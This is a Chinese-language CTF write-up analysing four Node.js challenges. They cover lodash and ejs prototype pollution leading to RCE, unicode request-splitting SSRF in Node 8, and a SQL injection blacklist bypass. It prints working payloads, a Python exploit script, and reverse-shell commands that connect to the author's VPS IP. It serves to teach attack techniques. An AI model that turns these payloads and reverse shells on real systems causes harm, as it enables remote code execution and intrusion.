几道nodejs题目的分析

Code-Breaking 2018 Thejs 分析

下载了p牛这道题目的源码,放到WebStorm里面自己跑了一下,需要注意的一点是要在源码末尾加上module.exports = app,否则\bin\www无法获取到app对象。

app.all('/', (req, res) => {

    // 获取session中的data, 如果session中没有data, 那么就创建一个属性为空的对象作为data
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        // 将请求的数据merge给data
        data = lodash.merge(data, req.body)
        // 通过session记录选中的data
        req.session.data = data
    }

    res.render('index', {
        // 将session中的data对象的language和category属性返回到页面当中
        language: data.language,
        category: data.category
    })
})

核心代码流程的注释已经写在上图了,可以看到上文中提到的merge函数。

用到的模版引擎为ejs

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})

lodash是为了弥补JS原生函数功能不足而提供的一个辅助功能集,其中包含字符串,数组,对象等操作。这个Web应用中,使用了lodash提供的两个工具。

  1. lodash.template 一个简单的模版引擎。
  2. lodash.merge 函数或对象的合并。

用户提交的信息会用merge方法合并到session中,多次提交,session中最终保存提交的所有信息。

而lodash.merge操作实际上就存在原型链污染漏洞。

而污染原型链后,相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的load.template中。

也就是我们最后的exp为:

{"__proto__" : {"sourceURL" : "\u000areturn e => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}```

确实是可以RCE成功的。

在这里插入图片描述

但不仅要知其然,还要知其所以然,下个断点跟踪一下。先研究一下为什么要利用sourceURL这个变量,我们都知道需要注入的变量需要在程序后段被调用,也就是需要找到一个未定义且后面被调用的变量进行注入。

let compiled = lodash.template(content)
let rendered = compiled({...options})

其中,lodash.template用于模版化,compiled用于动态引入变量。那只需要控制好动态引入的变量,既可以实现命令的执行与回显。

我们在template函数处设置断点,单步进入,查看template函数的内容。

在这里插入图片描述

可以看到sourceURL这个变量,我们可以对该变量进行注入,将data的原型中注入SourceURL这个变量,而此时名为options的对象的原型中已经有了名为SourceURL的变量,这是因为此时已经merge过了,也就是已经注入过后的情况。
在这里插入图片描述
此处遍历了object对象,可以看到sourceURL已经是我们注入过后的内容了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dOm34S2Y-1648816084813)(img/12.jpg)]
经过一系列处理过后,最后sourceURL被存放在了object中。
在这里插入图片描述

最后经过template处理后返回的object的属性为:
在这里插入图片描述
单步进入render,可以看到:
在这里插入图片描述
需要注意的是我们输入的\u000a成为了换行,即将原本的注释符进行了绕过。

这里p牛对for (var a in {}){delete Object.prototype[a];}的解释为:

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。

[GXYCTF 2020] Node Game

源码分析

分析/路由

  1. 获取了变量action,来自get请求中的action变量。
  2. 对变量action的内容进行校验,不允许出现/或者\\,应该是为了防止目录穿越的出现。
  3. 比如默认情况下变量action是index,那么变量file即为/template/index.pug,随后会使用renderFile方法进行渲染后返回到页面。
app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

分析/file_upload路由

  1. 首先是使用req.connection.remoteAddress获取IP地址,如果IP地址中不包含127.0.0.1,那么就无法继续上传。这种方式是无法直接绕过的,只能利用其余功能实现SSRF。
  2. 之后进行的就是简单的文件上传工作了,没有过多的校验,上传后的目录和文件名都是我们可控的。
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                }
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    })
})

分析/source路由

这个没啥好说的,读取文件内容。

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});

分析core路由

  1. 获取了以get方式传入的参数q。
  2. 但实际上这个参数q在这里并没有什么特殊的作用,不管你设置参数p为什么,他都会去尝试访问http://localhost:8081/source?q
  3. 这里似乎是天然提供给我们做ssrf的,但是参数q似乎没有什么实际意义。
app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                            return;
                        }
                    });

                    resp.on('data', function(chunk) {
                        try {
                            resps = chunk.toString();
                            res.send(resps);
                        }catch (e) {
                            res.send(e.message);
                        }

                    }).on('error', (e) => {
                        res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

方法blacklist分析

该方法检查了参数q中不能存在有如下的关键字。

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

解题分析

这里有几个矛盾的点,首先是SSRF的实现肯定是需要借助/core的,但是http://localhost:8081/source?q=xxx 我们即便能随意控制参数q的内容,似乎也不会有什么实际意义。

而blacklist依然对参数q的内容进行校验,反而更加坚定了我们需要使用参数q实现SSRF的想法。

漏洞:通过拆分请求实现的SSRF攻击

Node.js版本8或者更低版本有可能存在由于HTTP请求路径中的unicode字符损坏导致拆分请求实现SSRF攻击

https://xz.aliyun.com/t/2894

也就是说当我们向Node.js特定路径发出HTTP请求,但是发出的请求实际上被定向到了不一样的路径,这个问题是由于Node.js将Http请求写入路径时对unicode字符的有损编码引起的。

用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。

JavaScript支持unicode字符串,因此将他们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用latin,这是一种单字节编码,不能表示高编号的unicode字符,而这些高编号的unicode字符会被截断为JS表示的最低字节。

例如
在这里插入图片描述

假设一个服务器,接受用户输入。

GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key

如果服务器接受到了以下恶意的用户输入为:

x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n

发出请求后,服务器会直接将其写入路径:

GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

接受服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE,并且DELETE请求还带上了Authorization: server-secret-key认证。

好的http库通常会包含组织这一行为的代码,Node.js会使用URL编码路径中带有控制字符的HTTP请求。

> http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

此处的\r\n被URL编码成为了/%0D%0A

但是攻击者可以利用之前所提到的nodejs特定版本的unicode有损编码来实现绕过,例如:

> 'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:

> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为\r\n

> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'

回归题目

现在我们已经知道了该通过何种方式实现SSRF了,接下来需要绕过的就是文件内容的写入,其禁用的几个关键字都是node中常用的命令执行函数的一部分,但此处我们可以使用字符串拼接实现绕过。

贴一下脚本进行分析:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

session = requests.Session()
session.trust_env = False
response1 = session.get('http://a49bbb6e-a25b-4d67-850c-96e8007f7765.node4.buuoj.cn:81/core?q=' + payload)
response = session.get('http://a49bbb6e-a25b-4d67-850c-96e8007f7765.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)

正常请求/core的数据包为:

GET /core?q=123 HTTP/1.1
Host: 18cd77a7-5b14-451c-8b4a-11a65d795f5b.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

但是脚本执行后的数据包就变成了:

GET /core?q= HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive 

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

GET / HTTP/1.1
Host: 18cd77a7-5b14-451c-8b4a-11a65d795f5b.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

即变成了三个请求,分别为GETPOSTGET。其中的POST请求即为文件上传的报文,执行完毕后上传完成,文件名为lmonstergg.pug

此时去访问/?action=lmonstergg,既可以顺利获取到flag。

还有几点需要我们注意,首先是Content-Type: ../template,这是因为我们上传文件默认的存储目录是根据文件类型所决定的,而render渲染的pug文件默认都存储在/template目录下。

所以我们通过修改Content-Type的方式将上传的文件存储到template目录下。

其次是文件内容中的每行均以-为开始,这是pug文件的默认格式。

[XNUCA2019Qualifier]HardJS

源码分析

/login路由

用于用户登录,如果登录成功的话将设置session中的userid和login为有效值。

/get路由

  1. 从session中取出userid并查询该userid在html表中的条目数。
  2. 如果条目数为0,则返回{}
  3. 如果条目数大于5,会查询对应userid的iddom,遍历每一个dom执行lodash.defaultsDeep操作,该方法的作用为:
_.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } });
// => { 'a': { 'b': 2, 'c': 3 } }
  1. 例如我们的doms{"notice":["1"]}, {"wiki":["1"]}, {"notice":["2"]}, {"wiki":["2"]}, {"notice":["3"]},那么经过lodash.defaultsDeep操作后的doms{"wiki":["1"],"notice":["1"]}
  2. 如果条目数小于5,则简单返回查询出来的doms
  3. 需要注意JSON.parse(raws[i].dom),使用JSON解析数据,存在有原型污染的可能。
app.get("/get",auth,async function(req,res,next){

    var userid = req.session.userid ; 
    var sql = "select count(*) count from `html` where userid= ?"
    // var sql = "select `dom` from  `html` where userid=? ";
    var dataList = await query(sql,[userid]);

    if(dataList[0].count == 0 ){
        res.json({})

    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
        
        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }
        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(doms) ]);

        if(result.affectedRows > 0){
            ret.push(doms);
            res.json(ret);
        }else{
            res.json([{}]);
        }

    }else {

        console.log("Return recorder is less than 5,so return it without merge.");
        var sql = "select `dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var ret = new Array();

        for( var i =0 ;i< raws.length ; i++){
            ret.push(JSON.parse( raws[i].dom ));
        }

        console.log(ret);
        res.json(ret);
    }

});

/add路由

该路由会获取用户传入的type和content参数,封装成为newContent对象,存储在数据库中。

app.post("/add",auth,async function(req,res,next){

    if(req.body.type && req.body.content){

        var newContent = {}
        var userid = req.session.userid;

        newContent[req.body.type] = [ req.body.content ]

        console.log("newContent:",newContent);

        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(newContent) ]);

        if(result.affectedRows > 0){
            res.json(newContent);
        }else{
            res.json({});
        }
    }
});

解题分析

原型污染

此处为最终的exp。
在这里插入图片描述

{"content":{"constructor":{"prototype":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.35.240.204/8087 0>&1\"');var __tmp2"}}},"type":"wiki2"}

在这里插入图片描述

需要解释几点问题:

1.为什么不使用{"content":{"__proto__":{"outputFunctionName":"xxx"}},"type":"wiki2"}进行污染

因为之前都是直接对对象的__proto__属性进行注入的,但是经过测试此处应该已经将__proto__做了waf处理。所以只能退而求其次,选择对constructorprototype进行污染。

2.为什么一定要使用json格式传输数据。

因为如果按照正常报文格式进行数据传输的话,参数中的双引号会被转义。

在这里插入图片描述

[GKCTF 2021] easynode

源码分析

safeQuery方法

  1. async设置了异步请求,对username和password进行了safeStr处理后执行sql查询并返回结果。
  2. 针对username和password两个变量的每一个字符都会去进行黑名单校验,不允许出现\^)("',如果出现的话就将其替换为*
  3. 如果该符号为敏感字符,此时进行了一个比较别扭的操作,比如我们的输入为admin'#的话,在匹配到'时,waf方法会先返回*,然后再进行字符串拼接的操作,也就是admin + * + #
  4. 但实际上我们明明可以直接返回报错或者直接用替换函数将敏感字符进行替换,但此处的拼接操作让人觉得很奇怪,这也为之后的漏洞利用埋下了伏笔。
let safeQuery = async (username, password) => {

    const waf = (str) => {
        blacklist = ['\\', '\^', ')', '(', '\"', '\'']
        blacklist.forEach(element => {
            if (str == element) {
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str) => {
        for (let i = 0; i < str.length; i++) {
            if (waf(str[i]) == "*") {

                str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
            }

        }
        return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'", username.substr(0, 20), password.substr(0, 20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

/路由

返回/public/index.html的内容。

/login路由

接收用户输入的用户名和密码,如果校验成功的话,则会在Cookie中添加token字段,用于后面的身份校验。token的生成机制为jwt,也就是json web token,这个理论上我们是有一定可能爆破出密钥的,但是我们连一个普通用户的token都没有,已经不存在理论的可能性了。

/admin 路由

  1. 该路由会先对用户的token进行校验。
  2. 从数据库中根据username查询出board字段。
  3. JSON.stringify将查询出来的内容转换为JSON字符串,JSON.parse会将JSON字符串转换为JS对象。
  4. 随后将将参数board和username传递给admin.ejs进行渲染。
app.get("/admin", async (req, res, next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result != 'err') {
        username = result
        var sql = `select board from board where username = "${username}"`;

        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));

        board = JSON.parse(query[0].board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs", {board, username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } else {
        res.json({'msg': 'stop!!!'});
    }
});

addAdmin路由

该路由同样需要进行身份校验,如果校验成功用户可以新建用户(用户名,密码)插入到test表中,将用户信息插(用户名,board)插入到board表中。

其中board信息不是我们可控的。

/adminDIV路由

  1. 对用户身份进行校验。
  2. 将用户以POST方式传入的data转化为JS对象。
  3. 在该路由下用户可以通过传入的JSON格式的字符串对当前用户的board中的属性值进行修改。
  4. 需要注意这里使用了extend方法处理了将要修改的条目,而且经过处理的还是经过JSON.parse处理的,所以此处是明显存在有原型污染的可能的。
app.post("/adminDIV", async (req, res, next) => {
    const token = req.cookies.token

    var data = JSON.parse(req.body.data)

    let result = verifyToken(token);
    if (result != 'err') {
        username = result;
        var sql = `select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch((err) => {
            console.log(err);
        }))));

        board = JSON.parse(JSON.stringify(query[0].board));
        for (var key in data) {
            var addDIV = `{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({}, JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch(() => {
            res.json({"msg": 'DIV ERROR?'});
        });
        res.json({"msg": 'addDiv successful!!!'});
    } else {
        res.end('nonono');
    }
});

解题分析

SQL注入

在进行一系列其余操作前,获取admin的cookie都是先决条件。

传入数组

此处用到的知识为传入数组实现黑名单的绕过,也就是说如果我们传入的data的值为一个数组,比如["admin'#",1,2,3],那么在进行黑名单校验时waf(str[0])取出的就是admin'#,这样是完全可以通过黑名单的过滤的。

但问题是如果我们的用户名是一个数组,在执行username.substr(0, 20)操作时会出现报错,这个时候就需要我们之前所提到比较别扭的拼接处理。

在JS中的两个数组相加

一个很有意思的特性,在JS中两个数组相加会返回字符串。

请添加图片描述

也就是说如果我们传入的数组中出现有敏感字符,则会进行拼接处理,str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);,而str.slice(0, i)str.slice(i + 1, str.length)均为数组,数组相加,返回字符串。

exp分析
username[]=admin'#&username[]=1&username[]=2&username[]=3&username[]=4&username[]=(&password=123456

也就是说我们传入的内容为username=["admin'#", 1, 2, 3, 4, '('],简单的理一下流程:

  1. admin'#1234顺利通过校验
  2. 匹配到(时,会进行拼接操作["admin'#", 1, 2, 3, 4] + "*" + [],返回admin'#1234*
  3. 注入成功

但问题是为什么我们传入的内容为username=["admin'#", 1, 2, 3, '(']时就还会被waf到从而无法完成注入呢,我们动态调试一下:

通过这张图我们可以直观地看到,在拼接完成后,str从一个数组变成了一个字符串,随之而来的是length也发生了改变,此时的i为5,length为14,继续进行匹配时刚好会匹配到'从而被waf。
请添加图片描述

而如果我们传入的内容为username=["admin'#", 1, 2, 3, 4, '(']时。

请添加图片描述

由于数组中多了一个元素,因此在拼接完成后的i变成了6,length为16,此时继续进行循环匹配到的是#,也就代表我们的单引号顺利完成了逃逸。

原型链污染

ejs模版引擎存在有潜在的原型链污染威胁

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

请添加图片描述

漏洞点出现在opts对象的outputFunctionName成员,该成员在express配置的时候并没有给它赋值。因此如果我们可以实现原型链污染的话,可以给Object类创建一个成员outputFunctionName,由于原型的特点,如果opts中没有outputFunctionName成员,会在原型Object中进行寻找。

原本的命令拼接语句为prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';

如果我们将outputFunction成员赋值为a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

拼接后的结果就变成了prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami");

那么我们需要实现的就是:

for (var key in data) {
var addDIV = `{"${username}":{"${key}":"${(data[key])}"}}`;
extend({}, JSON.parse(addDIV));
}

username赋值为__proto__keyoutputFunctionNamedata[key]_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMzUuMjQwLjIwNC84MDg3IDA%2BJjEi|base64 -d|bash');var __tmp2

输出的内容为bash -c "bash -i >& /dev/tcp/vps/8087 0>&1",也就是弹一个shell到自己的vps上。

那么先新建一个名为__proto__的用户。
请添加图片描述
再获取__proto__用户的cookie,修改__proto__用户的属性。
请添加图片描述
此时再去访问/admin路由,就会收到shell了,因为在render的过程中原型链污染注入的代码被执行了。

请添加图片描述

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值